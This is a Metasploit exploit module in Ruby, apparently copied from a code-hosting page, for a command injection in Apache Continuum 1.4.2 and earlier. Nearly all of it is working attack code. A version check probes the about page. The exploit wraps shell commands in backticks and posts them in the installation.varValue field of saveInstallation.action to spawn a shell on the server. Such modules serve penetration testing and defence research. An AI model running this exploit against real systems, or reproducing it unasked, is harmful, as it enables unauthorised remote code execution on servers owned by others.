77 lines
1.9 KiB
Ruby
77 lines
1.9 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Continuum Arbitrary Command Execution',
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'Description' => %q{
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This module exploits a command injection in Apache Continuum <= 1.4.2.
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By injecting a command into the installation.varValue POST parameter to
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/continuum/saveInstallation.action, a shell can be spawned.
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},
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'Author' => [
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'David Shanahan', # Proof of concept
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'wvu' # Metasploit module
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],
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'References' => [
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%w{EDB 39886}
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],
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'DisclosureDate' => 'Apr 6 2016',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Privileged' => false,
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'Targets' => [
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['Apache Continuum <= 1.4.2', {}]
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],
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'DefaultTarget' => 0
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))
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register_options([
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Opt::RPORT(8080)
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])
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end
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def check
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res = send_request_cgi(
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'method' => 'GET',
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'uri' => '/continuum/about.action'
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)
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if res && res.body.include?('1.4.2')
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CheckCode::Appears
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elsif res && res.code == 200
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CheckCode::Detected
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else
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CheckCode::Safe
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end
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end
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def exploit
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print_status('Injecting CmdStager payload...')
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execute_cmdstager(flavor: :bourne)
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end
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def execute_command(cmd, opts = {})
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send_request_cgi(
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'method' => 'POST',
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'uri' => '/continuum/saveInstallation.action',
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'vars_post' => {
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'installation.name' => Rex::Text.rand_text_alpha(8),
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'installation.type' => 'jdk',
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'installation.varValue' => '`' + cmd + '`'
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}
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)
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end
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end
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